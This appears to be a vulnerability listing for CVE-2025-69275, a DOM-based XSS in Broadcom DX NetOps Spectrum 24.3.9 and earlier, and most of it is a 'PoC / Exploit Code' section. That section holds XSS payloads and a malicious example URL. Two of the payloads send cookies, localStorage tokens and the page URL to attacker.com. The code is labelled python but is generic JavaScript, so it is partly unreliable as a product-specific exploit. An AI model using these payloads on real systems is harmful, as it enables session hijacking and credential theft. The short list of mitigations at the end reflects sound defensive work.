Dependency on Vulnerable Third-Party Component vulnerability in Broadcom DX NetOps Spectrum on Windows, Linux allows DOM-Based XSS.This issue affects DX NetOps Spectrum: 24.3.9 and earlier.
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Broadcom DX NetOps Spectrum <= 24.3.9 (Windows)
Broadcom DX NetOps Spectrum <= 24.3.9 (Linux)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-69275 DOM-Based XSS PoC for Broadcom DX NetOps Spectrum
// Target: Broadcom DX NetOps Spectrum <= 24.3.9
// PoC 1: Basic XSS payload via URL parameter
// Attackers would inject this via a malicious URL
const xssPayload = '<script>alert(document.cookie)</script>';
const imgPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">';
// PoC 2: DOM-based injection example
// This simulates how user input could be reflected in the DOM
function vulnerableFunction(userInput) {
// Insecure: Directly inserting user input into DOM
document.getElementById('output').innerHTML = userInput;
}
// Example malicious URL:
// https://<target>/spectrum/monitor?param=<img src=x onerror=alert(document.domain)>
// PoC 3: Data exfiltration via XSS
const stealData = `
<script>
// Steal session tokens and send to attacker
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
tokens: localStorage,
url: window.location.href
})
});
</script>
`;
// Recommendations:
// 1. Use textContent instead of innerHTML for user input
// 2. Implement proper input validation and sanitization
// 3. Use Content Security Policy (CSP) headers
// 4. Encode output when inserting user data into HTML